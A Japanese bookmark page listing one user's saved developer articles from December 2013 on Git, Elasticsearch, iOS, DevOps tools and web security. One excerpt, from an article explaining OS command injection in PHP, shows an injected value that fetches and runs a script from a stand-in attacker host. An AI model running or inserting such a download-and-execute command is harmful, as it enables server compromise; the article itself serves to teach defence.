タグ

2013年12月25日のブックマーク (40件)

  • ScaleOut | Supership

    2024年4月1日より、Supership株式会社は親会社であるSupershipホールディングス株式会社に吸収合併されました。 合併に伴い、存続会社であるSupershipホールディングスは社名をSupershipに変更し、新たな経営体制を発足しました。件に関する詳細は、プレスリリースをご確認ください。 2024年4月1日より、Supership株式会社は親会社であるSupershipホールディングス株式会社に吸収合併されました。 合併に伴い、存続会社であるSupershipホールディングスは社名をSupershipに変更し、新たな経営体制を発足しました。 件に関する詳細は、プレスリリースをご確認ください。

    ScaleOut | Supership
    oppara
    oppara 2013/12/25
  • Home - Scalable and Modular Architecture for CSS

    SMACSS was written in 2011. This site remains for archival and educational purposes. I’ve been analyzing my process (and the process of those around me) and figuring out how best to structure code for projects on a larger scale. What I've found is a process that works equally well for sites small and large. Learn how to structure your CSS to allow for flexibility and maintainability as your projec

    oppara
    oppara 2013/12/25
  • var_dumpの結果を省略せず全て出力する | mawatari.jp

    array (size=2) 'User' => array (size=1) 'name' => string 'foo' (length=3) 'Image' => array (size=1) 0 => array (size=2) 'model' => string 'User' (length=4) 'attachment' => array (size=5) ...

    var_dumpの結果を省略せず全て出力する | mawatari.jp
    oppara
    oppara 2013/12/25
  • Mac で Vagrant を GUI で操作できる「VagrantX」をリリースしました

    Shin x blog Advent Calendar 2013 の最終日です。 12/1 から毎日書いてきた Shin x blog Advent Calendar 2013 ですが、いよいよ今日が最終日です。 今日は、クリスマスということで、ささやかながらちょっとしたプレゼントを用意してみました:D VagrantX GUI で Vagrant が利用できる VagrantX というツールをリリースしました。 http://shin1x1.github.io/vagrantx/ Vagrant は、とても良いツールなのですが、いかんせんターミナル(黒い画面)で操作するものなので、それに慣れていない人にとっては、少し敬遠されている面があります。Vagrantfile を自分で書くような人はターミナルでどんどん使うべきなのですが、用意された Vagrantfile をただ使うだけであれば、

    oppara
    oppara 2013/12/25
  • ygoto3.com

    現在開発担当している AbemaTV で、昨年末にパナソニックさんのスマートテレビ VIERA 向けにアプリケーションをリリースしました。AbemaTV リモコンボタンで AbemaTV にアクセスできます。今回このアプリケーションの UI を開発するにあたって、新しいデザインワークフローを導入しました。 記事では、 Story-Assured Design というデザインワークフローを、現在プロダクト開発で直面しているデザインの課題とともに紹介します。 Story-Assured Design とは? Story-Assured Design はその名前が示しているように、ユーザーストーリーを保証することを目的とした UI デザインのワークフローです。UI デザインを3つのステップに分けて行います。 ストーリーデザイン デザインの構造化 視覚情報デザイン 一番重要なユーザーストーリーの

    oppara
    oppara 2013/12/25
  • https://labs.cybozu.co.jp/blog/kazuho/archives/2008/06/mysql_direct_access.php

    oppara
    oppara 2013/12/25
  • https://labs.cybozu.co.jp/blog/kazuho/archives/2008/06/friends_timeline.php

    oppara
    oppara 2013/12/25
  • ** YAPC::Asia Tokyo 2011 RejectConf 本当は難しいフレンド・タイムライン処理

    TopicsPlaceHolder SectionTitlePlaceHolder TIME rest time current/total

    oppara
    oppara 2013/12/25
  • SECCON2013 slide

    SECCON2013北陸前日勉強会のスライドです http://2013.seccon.jp/2013events.html 元データここ https://gist.github.com/mala/8112696

    SECCON2013 slide
    oppara
    oppara 2013/12/25
  • iOS実機のSSL通信をプロキシによって傍受したり改ざんする方法 - Qiita

    はじめに スマートフォンアプリ開発でAPIを介しWeb/APIサーバーとやりとりをする場合、「httpsを使っていれば通信はユーザーにバレない」なんてことはなく、Webアプリでツールを使ってできるのと同じようにユーザーには通信内容の確認や改竄などができます。 そのため、そのことを前提にアプリやサーバーAPIの設計と実装を行わない場合、アプリ利用者によるゲームスコア結果送信の改竄や、ソーシャルゲームにおけるレイドボスなどへのダメージ操作、ECサイトアプリでの購入操作なども可能になってしまいます。 また、最近自分は「無料で音楽聴き放題!! - ネットラジオ」というアプリをリリースしたのですが、このアプリに導入するスタティックリンクライブラリが不明な外部サーバーへ通信していないか、SSLを使用しているつもりがそうでない通信をしてしまっていないかのチェックをするため、自分はmitmproxyという

    iOS実機のSSL通信をプロキシによって傍受したり改ざんする方法 - Qiita
    oppara
    oppara 2013/12/25
  • より低レベルな Git コマンドを使って他のプログラム (e.g. Vim) と連携する - Sexually Knowing

    このエントリはGit advent calendar 2013の24日目のエントリです。 私は普段から Vim というテキストエディタを使ってコードを書いています。 また unite.vim というプラグインをファイルやバッファを選択して開くといった用途などに利用しています。unite.vim はもっと汎用的で強力なプラグインですが詳しい説明は他に譲ります。 つまるところ unite.vim は「列挙」した候補を「選択」しなにかのアクションを「実行」するためのプラグインです。 ところで Git を利用した開発ではマージ時のコンフリクトに遭遇することがしばしばあり、たまに大量のファイルが一度にコンフリクトしそれを解決しなければならない、いわゆる「コンフリクト解決地獄」に遭遇することが稀によくあります。 それを解決するために git status などの出力を眺めながらエディタでいちいち開いて

    より低レベルな Git コマンドを使って他のプログラム (e.g. Vim) と連携する - Sexually Knowing
    oppara
    oppara 2013/12/25
  • Git grepを便利に使う-eオプションについて - Qiita

    outline git-grepの話 -eオプションの話 --andオプションの話 git-grepの話 UNIX系のOSを使ったことのある人ならみんな大好きgrepコマンド。 その拡張がgit-grepだ。 ふつうのgrepだと、指定したディレクトリ以下のファイル『全て』を検索対象としてしまうため、膨大な時間がかかることがよくある。そして時間を持て余してネットサーフィンしたりコンビニに買い物に行ったりする。そして帰ってきて見るとファイルが見つからなかったりして、貴重な労働時間をムダにするのである。 そこでgit-grepですよ git-grepは、gitで管理しているリポジトリの範囲内でgrepするコマンドだ。 何が違うかというと、 gitで管理しているリポジトリの中身「しか」検索できない その分ふつうのgrepと比べて圧倒的に速い というところである。 もちろんふつうのgrepも、ちゃ

    Git grepを便利に使う-eオプションについて - Qiita
    oppara
    oppara 2013/12/25
  • git mergeでコンフリクトが発生するか前もって調べる方法 - Qiita

    利用シーン少なそうですが、mergeを実行する前にコンフリクトが起こるかどうかチェックしたくて調べたのでメモ。 git merge —no-commit topic-branchをmasterにマージしようとしてコンフリクトするケースを想定します。 まず試してみたのは--no-commitオプション。 (master) ✘ git merge topic-branch --no-commit Auto-merging src/hello.py CONFLICT (content): Merge conflict in src/hello.py Automatic merge failed; fix conflicts and then commit the result. これを付けておくとマージ時に自動コミットがされなくなりますが、コンフリクトが起こる場合もローカルファイルにはマージが実

    git mergeでコンフリクトが発生するか前もって調べる方法 - Qiita
    oppara
    oppara 2013/12/25
  • コミットログに開発を駆動させよう - assertInstanceOf('Engineer', $a_suenami)

    この記事はGit Advent Calendar 2013の6日目の記事です。 前日は @DQNEO さんの「Gitが連想配列記憶装置であることを低レイヤーな操作を通して体感しよう!」でした。 はじめに 実は僕は昨年のGit Advent Calendarで次のような記事を書きました。 rebaseのすすめ この記事はこれの続編です。上記記事をご存知ない方はまずはそちらをお読みください。 コミットログに開発を駆動させるということ この業界にはxDDと呼ばれるプラクティスが多いですね。 TDD(テスト駆動開発)、BDD(振る舞い駆動開発)、ATDD(受け入れテスト駆動開発)、TiDD(チケット駆動開発)など。 僕はGitのコミットログも開発を駆動する力があるのではないかと思っており、今回はそれについてご紹介したいと思います。コミットログ駆動開発(CDD)とでも名付けましょうか?笑 理想のコミ

    コミットログに開発を駆動させよう - assertInstanceOf('Engineer', $a_suenami)
    oppara
    oppara 2013/12/25
  • ElasticsearchでCentOS上にNgram全文検索サーバを構築する - (その2)Ngramアナライザを設定する - オープンソースこねこね

    前回に引き続きElasticsearchの設定を行います。 elasticsearch-headプラグインをインストールする いろいろ設定を試していたりすると、設定内容やデータの確認のためにコンソールからcurlを実行してREST APIを実行するのが面倒になります。そこでElasticsearchにはWebUIからデータや設定内容を参照するための機能がプラグインで用意されているので、これを導入します。 elasticsearch-head インストールは以下のコマンドを実行するだけでOKです。 $ sudo /usr/share/elasticsearch/bin/plugin --install mobz/elasticsearch-head あとはブラウザから http://localhost:9200/_plugin/head/ にアクセスすればWebUIからデータの操作ができるよ

    ElasticsearchでCentOS上にNgram全文検索サーバを構築する - (その2)Ngramアナライザを設定する - オープンソースこねこね
    oppara
    oppara 2013/12/25
    ElasticsearchでCentOS上にNgram全文検索サーバを構築する - (その2)Ngramアナライザを設定する - オープンソースこねこね
  • ElasticsearchでCentOS上にNgram全文検索サーバを構築する - (その1)インストールと基本のデータ操作 - オープンソースこねこね

    ここしばらくオープンソースの全文検索エンジン、Elasticsearchを調べてました。 今回はNgramによる検索ができるように設定したので、その時のことをインストール方法から書きます。 どうにも同じ全文検索エンジンであるApache Solrに比べて新しいせいか、ネットの情報が少ないと感じたのと、検索エンジンをまじめに導入したのが初めてだったので、結構大変でした。 なお、この記事は自分用の備忘録をかねているので、いろいろ長くなりそうです。 よって何回かにわけて書く予定です。 Elasticsearchの概要 全文検索エンジン(全文検索機能をもつデータベース) データ構造はJSON。スキーマレス。(MongoDBに似ている) Javaで実装されている。内部にLuceneを使用している。(solrに似ている) foursquare、Githubなどでの利用実績。 HTTPのREST API

    ElasticsearchでCentOS上にNgram全文検索サーバを構築する - (その1)インストールと基本のデータ操作 - オープンソースこねこね
    oppara
    oppara 2013/12/25
    ElasticsearchでCentOS上にNgram全文検索サーバを構築する - (その1)インストールと基本のデータ操作 - オープンソースこねこね
  • Detector·HTML5/CSS3の機能が使えるかどうか判定 MOONGIFT

    HTML5の普及によって各ブラウザの描画、動作誤差は昔に比べれば減ると思われたものの、機能が増えたことによってその実装状況は大きく違うといった状況になっています。 さらにデスクトップとスマートフォンで同じHTML5といっても違いが生じています。そんなHTML5のサポート状況を見える形にしてくれるのがDetectorです。 まずはユーザエージェントに関する情報が出力されます。 さらにCSS3の機能についてサポート状態が表示されます。 Chromeでも意外と完璧ではないようです。 Detectorではクライアントの判定をサーバサイドで行っています。予め用意されているテストの他、自分で独自のテストを追加することもできます。HTML5の機能について、多数のブラウザではどのように処理されるのかをテストするのにも使えます。 HTML5と一口に言っても対象になるデバイスは多数あります。サポート対象のブラ

    Detector·HTML5/CSS3の機能が使えるかどうか判定 MOONGIFT
    oppara
    oppara 2013/12/25
    Detector – HTML5/CSS3の機能が使えるかどうか判定|オープンソース・ソフトウェア、ITニュースを毎日紹介するエンジニア、デザイナー向けブログ
  • Codebrag - your daily code review tool

    Your daily code review toolCodebrag is a simple code review tool that makes the process work for your team. Now open-source and free! Try Codebrag

    Codebrag - your daily code review tool
    oppara
    oppara 2013/12/25
  • Codebrag·Subversion/Git対応のコードレビューシステム MOONGIFT

    コードレビューしてますか? チームのコード品質を向上し、ひいてはシステム品質の向上を目指すためにはコードレビューが欠かせません。工業製品のように一定の品質を担保する技術がない以上、チーム全体でコード品質をあげていくのが最もいい方法ではないでしょうか。 単純に書いたコードを見せるだけでなく、Web上で確認、コメントできるようにすればより優れたコードレビューができるようになると思います。そこで使ってみたいのがCodebragです。 ログインします。 ログイン後。左にレビュー待ち一覧が並んでいます。 項目を選択すると差分が表示されます。 コード中にコメントできます。この辺りはGitHub風ですね。 ハートマークでいいねもできます。 Codebragの特徴としてはGIt/Subversionをサポートしているということがあります。バージョン管理システムの問題なので、GitHubやBitBucket

    Codebrag·Subversion/Git対応のコードレビューシステム MOONGIFT
    oppara
    oppara 2013/12/25
    Codebrag – Subversion/Git対応のコードレビューシステム|オープンソース・ソフトウェア、ITニュースを毎日紹介するエンジニア、デザイナー向けブログ
  • カラクリサイクル

    この Web サイトの中身を検索します。 なお Google Custom Search Engine 製。 とは言え、検索だけですべての記事が見付かるかどうは微妙なところが……。

    カラクリサイクル
    oppara
    oppara 2013/12/25
  • iOSアプリ開発が捗るXcodeプラグイン - Qiita

    こんにちは、@cutmailです. 365日Xcode触ってますか? はじめに Xcodeはそのまま使ってもいいですが、いくつかの便利なプラグインを入れてみるとより開発がしやすくなるかもしれません。 プラグインは入れ過ぎるとXcodeが重くなったりするかもしれませんので、必要なもののみインストールしたほうがよいかと思われます。 XVim Vimmerのための、XcodeでVimのキーバインドが使えるようになるプラグイン https://github.com/JugglerShu/XVim XTodo TODOや、FIXMEなどのコード内の注釈を抜き出して表示してくれるプラグイン https://github.com/trawor/XToDo XAlign コードを自動的に整列するプラグイン https://github.com/qfish/XAlign ShowInGitHub 選択した行

    iOSアプリ開発が捗るXcodeプラグイン - Qiita
    oppara
    oppara 2013/12/25
  • jenkins-ci-skip-plugin を書いてみた - @banyan's blog

    jenkins-ci-skip-plugin [ci skip] という文字列がコミットに含まれているとビルドをスキップするというのが Travis CI にあって、Circle CI も同じ機能がある。 Travis CI: How to skip a build Skip a build - CircleCI Rails とかはたくさんの environment でテストされているのでドキュメントの変更の場合は必ずコミットに含むように書いてある。 http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation で、それを Jenkins でも同じようにできるようにするというもの。あんまり必要は感じてなかったんだけど、最近 Docker

    oppara
    oppara 2013/12/25
  • PHPだってシェル経由でないコマンド呼び出し機能が欲しい

    このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。 OSコマンドインジェクションとは OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。 下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。 $param = $_GET['param']; system("myprog $param"); $paramとして ; wget http://evil.com/bad.php ; php bad.php  を指定されると、system関数で実行するコマンドは下記となります。 myprog ; wget http://evil.com/ba

    oppara
    oppara 2013/12/25
  • アプリをiOS 7対応する時に知っておきたいことまとめ - Qiita

    @himara2 です。iOS Advent Calendar の20日目を担当します。 iOS 7対応時に知っておきたい情報をまとめます。 はじめに iOS 7が登場から3ヵ月が過ぎ、普及率が75%を超えるほどiOS 7は浸透しています。 先日にはついにAppleが「2014/2/1以降に申請するアプリはiOS 7に最適化されている必要がある」とアナウンスしました。 これからアプリのiOS 7対応は必須化していきます。 この記事ではこれからiOS 7対応をする方向けに、新APIやiOS 7対応時に助かるリンク集をまとめてみます。 1. 見た目関連のAPI Custom Transition ViewController間の遷移が簡単にカスタマイズできるようになった NavigationController, TabBarController, Modal などの遷移を自作できる UIVi

    アプリをiOS 7対応する時に知っておきたいことまとめ - Qiita
    oppara
    oppara 2013/12/25
  • Omnibus-rubyプロジェクトでツールの周辺依存をまるごとrpm,debに固める - Qiita

    この記事は最終更新から1年以上経過しています。 気をつけてね。 ChefのOpscodeが公開しているomnibus-rubyというのがあります。omnibus-chef(/opt/chef`にRubyごとChefをインストール)のなんでも版ですね。 libやincludeもまるごと、lddで拾える依存も全部パッケージにするので、実際Ruby関連に限らず使えると思います。 ビルド環境については刷新したのでこちらをどうぞ。 Omnibus[-ruby]プロジェクトのビルド環境をDockerで。Dockerhub公開中。 omnibusの準備 まずツール群を揃えます。

    Omnibus-rubyプロジェクトでツールの周辺依存をまるごとrpm,debに固める - Qiita
    oppara
    oppara 2013/12/25
  • SQL Fiddle - Online SQL Compiler for learning & practice

    During Phase 1, only users who are logged in can access the AI chat feature. SQL Fiddle is free to use and ad-free! Want to help us? It takes 10 seconds Step 1: Like & Share our EFE Bulk Extensions videos Step 2: Like & Share our EFE Bulk Insert videos Thank During Phase 1, only users who are logged in can access the AI Editor feature. SQL Fiddle is free to use and ad-free! Want to help us? It tak

    oppara
    oppara 2013/12/25
  • OS X MavericksにOracle Instant Clientをインストールする

    OS X Lion にアップグレードして Instant Client 10.2.0.4 が利用できなくなってからしばらく経ち、結局何にも困らないことに気づきましたが、せっかく正式対応版が出たので遅ればせながらインストールしてみました。 OS X Users! 11gR2 Oracle Instant Client 32 & 64-bit is now available (PHP and Oracle: Christopher Jones) Mac De Oracle: Instant Client v11.2.0.3.0 for Mac OS X (Intel x86) のセットアップ (12/22追記) 2013/12/22 現在ダウンロードできる Instant Client モジュールではこの記事に挙げた問題(sqlplus の feedback が on だと SIGABRT

    oppara
    oppara 2013/12/25
    OS X MavericksにOracle Instant Clientをインストールする - Keep It Simple, Stupid
  • PHPとセキュリティの解説書12種類を読んでSQLエスケープの解説状況を調べてみた

    この投稿はPHP Advent Calendar 2013の13日目の記事です。昨日は@tanakahisateruのPHPが糞言語なのはどう考えても参照をポインタだと思っているお前らが悪いでした。 現在twitterのタイムラインで、史上空前のSQLのエスケープブームが起こっています。 オレオレSQLセキュリティ教育は論理的に破綻している | yohgaki's blog 「プリペアードクエリが基だけど、動的に SQL を組み立てる場合もあるから、そういう場合に備えてエスケープも知っておいたほうがいいかも」 - Togetterまとめ エスケープとプレースホルダをめぐる議論 - Togetterまとめ SQLインジェクション対策としてのプリペアドステートメントとエスケープについての議論 - Togetterまとめ IPAの「安全なSQLの呼び出し方」が安全になっていた | yohgak

    PHPとセキュリティの解説書12種類を読んでSQLエスケープの解説状況を調べてみた
    oppara
    oppara 2013/12/25
  • XSSとSQLインジェクションの両方が可能なRFC5322適合のメールアドレス

    メールアドレスの「ルール」に関する話題が盛り上がっていますね。 「メールアドレスのルール」系まとめがそろって間違ってるのでご注意を 「メールアドレスのルール」なんて使ってはいけない3つの理由 これらのエントリに異論があるわけでありません。メールアドレスに関するルールというとRFC5322などがあるものの、現実の運用では簡易的な仕様を用いている場合が大半である…という事情は、私も以前ブログに書きました。、 稿では、「空前のメールアドレスのルールブーム(?)」に便乗する形で、RFC5322に準拠したメールアドレスで、XSSやSQLインジェクションの攻撃ができることを紹介します。と言っても、SQLインジェクションについては、過去に書きましたので、稿では、RFC5322バリッドなメールアドレスでSQLインジェクションとXSSの両方ができるメールアドレスを紹介します。 まず、攻撃対象として、以下

    XSSとSQLインジェクションの両方が可能なRFC5322適合のメールアドレス
    oppara
    oppara 2013/12/25
  • serverspec インフラ層のテスト項目を考える | Ore no homepage

    最近は担当システムが平和だけど俺が平和じゃない。疲れてる。忘年会の連チャンもきっついトシになっちまった。会社の制度で1週間くらい休みがとれるので、一人で温泉とスノボと開発合宿でもしに北海道にでも行こうかなって思ってる。1月か2月くらいに。 えーと、担当しているサービスにserverspecを導入した。それにあたってテスト項目を考えたので軽くまとめる。もちろんserverspec導入前もサーバ構築後は動作確認というか、テストらしいことはしていたっちゃしていたんだけど、テスト項目をまともに考えたのはこれが初めてかもしれない。serverspecのバージョンは0.13.2である。Rubyは2.0.0。 0. 環境 下記のような環境に導入した。ありふれた構成だと思う。60台くらいの規模。DBはマスタ3台に分割されていて、それぞれにスレーブがn台ぶらさがっている。LBの箱は二つあるが、物理的には1台

    oppara
    oppara 2013/12/25
  • mb_send_mail(),mail()で第5引数を設定する際の注意点 - t_komuraの日記

    以下の徳丸さんの記事を読んで、以前にmb_send_mail()の関連で調べたことがあったのを思い出しましたので、少し書きます。 PHPだってシェル経由でないコマンド呼び出し機能が欲しい 環境は Unix 系の OS で OS コマンドを使用してメールを送信する場合です。メール送信コマンドは php.ini で sendmail_path を設定します(デフォルト: "sendmail -t -i")。 mb_send_mail関数(mail関数も同様)ですが、第5引数(additional_parameter)にユーザの入力を使用する場合は注意が必要です。mb_send_mail関数の第5引数は、内部でescapeshellcmd(内部関数名:php_escape_shell_cmd)によって引数の文字列全体がエスケープされます。 escapeshellcmd() は、以前に徳丸さんから

    mb_send_mail(),mail()で第5引数を設定する際の注意点 - t_komuraの日記
    oppara
    oppara 2013/12/25
  • Chef Solo の Environments - naoyaのはてなダイアリー

    今年3月に入門Chef Soloを書いた時点では、Chef Solo は Environments の機能をサポートしてなかったため解説は省略しました。 その後、Chef はバージョン 11.6.0 (現在は 11.8.2) で Chef Solo での Environments をサポートし、入門Chef Solo で推薦している knife-solo も 10月末にリリースされた 0.4.0 から Environments をサポートしました。というわけで、現状 Chef と knife-solo が最新版であれば Environments を利用することができます。 たまたま今手をつけている仕事で Environments のことを調べたので備忘録的に記しておきます。 Environments とは Chef の Environments は、例えば development や pr

    Chef Solo の Environments - naoyaのはてなダイアリー
    oppara
    oppara 2013/12/25
  • 分かりやすいUIを考えるときに参考にしたい34のアイデア | mah365

    GoodUIというサイトでは、サイトのコンバージョンを上げるときに参考にしたい34のアイデアを紹介しています(どんどん追加されるようです)。とても参考になったので、タイトルだけ日語訳してお伝えしたいと思います。あえて意訳しているところもありますが、英語的に完全に間違っている部分があれば、ご指摘下さい。 マルチカラムレイアウトにするより、シングルカラムレイアウトにしてみよう。 すぐにクロージングするより、プレゼントを与えてみよう。 UIを断片化させるより、似たような機能を統合してみよう。 自分で自分自身を語るより、ブランドのある誰かに語らせてみよう。 重要なアクションは1回だけ見せるより、何回も繰り返して表示してみよう。 クリックできる・選択できるアイテムは、ぼかさず明確にスタイルしてみよう。 選んで欲しいものを並列で並べるより、オススメを強調してみよう。 いちいち確認を取るより、Undo

    分かりやすいUIを考えるときに参考にしたい34のアイデア | mah365
    oppara
    oppara 2013/12/25
  • Webアプリケーションを作るときに知ってると嬉しいPostgreSQLの使い方

    この記事はPostgreSQL Advent Calendar 2013の21日目の記事です。 昨日はsawada_masahikoさんの「bgwokerで超簡易クラスタ管理」でした。 さて最近、自分の周りではMySQLからPostgreSQLに移行したと言う方が多いです。 AWSのRDS For PostgreSQLも出たのでDBは得意じゃないけどPostgreSQLを使ってみようかなと言う方も多いと思います。 なので今日はそんな人向け(PostgreSQL初心者から中級者向け)です。 (他のアドベントカレンダーが濃いのでたまにはこんなのもいいですよね?^^;) それでは早速紹介していきます。 ■serial型なユニークキーがあるときに最新の情報を取ってくるこれですが最新情報を取ってくるのにdate型やtimestamp型をソートしてるのを見かけます。 これをユニークキーに変えるだけです

    Webアプリケーションを作るときに知ってると嬉しいPostgreSQLの使い方
    oppara
    oppara 2013/12/25
  • パッケージ管理システム Homebrew - Qiita

    MacPorts と比べて Homebrew は依存関係でインストールされるソフトが少ないためか、パッケージ管理システムとしての人気が高まってきています。 MacPorts は、Mac に最初から入っているソフトウェアを無視してパッケージが依存するソフトを新規でインストールするという性質を持っていますが、Homebrew は極力 Mac に入っているものを使うように作られています。ゆえに、パッケージ導入時のシステムへの負担や、インストールにかかる時間が比較的少なくて済むようです。 また、Homebrew はスーパーユーザでコマンドを実行する必要が無く、一般ユーザー権限で使うことが出来ます。 ※【2015/07/07 追記】最近では Homebrew が大きく台頭してきて、MacPorts の名前を見ることは減ってきました Homebrew について Homebrew は「ユーザが自らパッケ

    パッケージ管理システム Homebrew - Qiita
    oppara
    oppara 2013/12/25
  • GoodUI

    Learn From What Leading Companies A/B Test Receive the latest discovered UI patterns and leaked experiments from companies such as Amazon, Netflix, Airbnb, Etsy, Google, and Booking.com, etc. We're obsessed with learning about what works and what fails.

    GoodUI
    oppara
    oppara 2013/12/25
    GoodUI
  • Huboard - お勧め!GitHubの課題管理をカンバン化 MOONGIFT

    これ、GitHubタスク管理をする上でかなり便利そうです。 個人的にも仕事プロジェクトでもタスク管理GitHubで行うようにしています。イシューの汎用性が高いので便利なのですが、それでも数が多くなってくるとなかなか管理がうまくいかなくなります。 どうにか解決したいなと思っていたのですが、まさにそのためのツールがありました。それがHuboardです。 まずはGitHubアカウントと繋げます。オープンなプロジェクトだけが一覧されます。 幾つかのラベルが自動で生成されます。これで準備は完了です。 これが一覧画面。左側にフィルタが並び、右側にタスクのステータスが確認できます。 ここで詳細も分かります。 バックログです。 さらにイテレーションとして表示もさせられます。これがいい感じに見やすいですね。 HuboardはGitHubの課題管理をカンバン化するソフトウェアとのことですが、まさにカンバ

    Huboard - お勧め!GitHubの課題管理をカンバン化 MOONGIFT
    oppara
    oppara 2013/12/25
  • PHP 5.6 に採用されるデバッガ phpdbg を使ってみた

    Shin x blog Advent Calendar 2013 の 21 日目です。 第 12 回関西 PHP 勉強会 にて、PHP 5.6 に採用予定の phpdbg をひと足先に PHP 5.5.7 で触ってみました。 phpdbg phpdbg は、gdb ライクな PHP 用のデバッガです。ブレークポイントを設定して、その時点のコンテキストを確認したり、ステップ実行などができます。 phpdbg | php debugger インストール PHP 5.6 から同梱される予定の phpdbg ですが、これ自体はすでにリリースされており、PHP 5.4 から利用することが可能です。インストールには、PHP のソースコードが必要になるので、PHP も ソースからインストールします。 $ sudo yum -y groupinstall "Development Tools" $ sud

    oppara
    oppara 2013/12/25
  • 開発合宿でDockerとMesosを使っていい感じにリソース提供とデプロイするやつを作ってた - wtatsuruの技術方面のブログ

    3日間の開発合宿で、Docker と Mesos を使ってリソース管理からテスト・デプロイ管理までするやつのプロトタイプを作ってた。 4人チームで3日間みっちりやって、それなりにいい感じにはできたと思う。id:shiba_yu36 が既に書いてるけど、自分の視点から感想だけ書いておく。 番環境のBlue-Green Deploymentの仕組みのプロトタイプを作っていた - $shibayu36->blog; 経緯 最近忙しくてあまり触れてない、Immutable Infrastracture みたいなのを作ってみたかった。 Docker を開発に使うのはいい感じだけど、実際の運用に組み込むには、というイメージをつかみたかった。 というのをラーメン屋で話してたら4人集まったので風呂敷を広げてみた。 どんなものを作ったか アプリケーションは Docker コンテナとして動かす。 Debia

    開発合宿でDockerとMesosを使っていい感じにリソース提供とデプロイするやつを作ってた - wtatsuruの技術方面のブログ
    oppara
    oppara 2013/12/25
  • 入門 Capistrano 3 ~ 全ての手作業を生まれる前に消し去りたい | GREE Engineering

    はじめに この記事はGREE Advent Calendar 2013年の21日目です。お楽しみください! こんにちは、アゴひげがダンディーだと評判の九岡です。GREEでは、JavaScalaを布教するための土台を固めるため、デプロイや監視の仕組みづくりなどを横断的にやっています。今回はその過程で得られた知識を「Capistrano 3の入門記事」という形で共有させていただきます。 この記事ではCapistrano 3の基礎をご紹介します。Capistrano 3はRubyをベースにしたサーバ操作およびデプロイの自動化ツールです。Capistrano 3を利用することで、デプロイなどの複雑なサーバ操作を自動化することができます。ここの記事では、特にデプロイに焦点をあてながら、Capistranoでサーバ操作を自動化する考え方と実現方法をご説明していきます。 Capistrano 3の習得

    入門 Capistrano 3 ~ 全ての手作業を生まれる前に消し去りたい | GREE Engineering
    oppara
    oppara 2013/12/25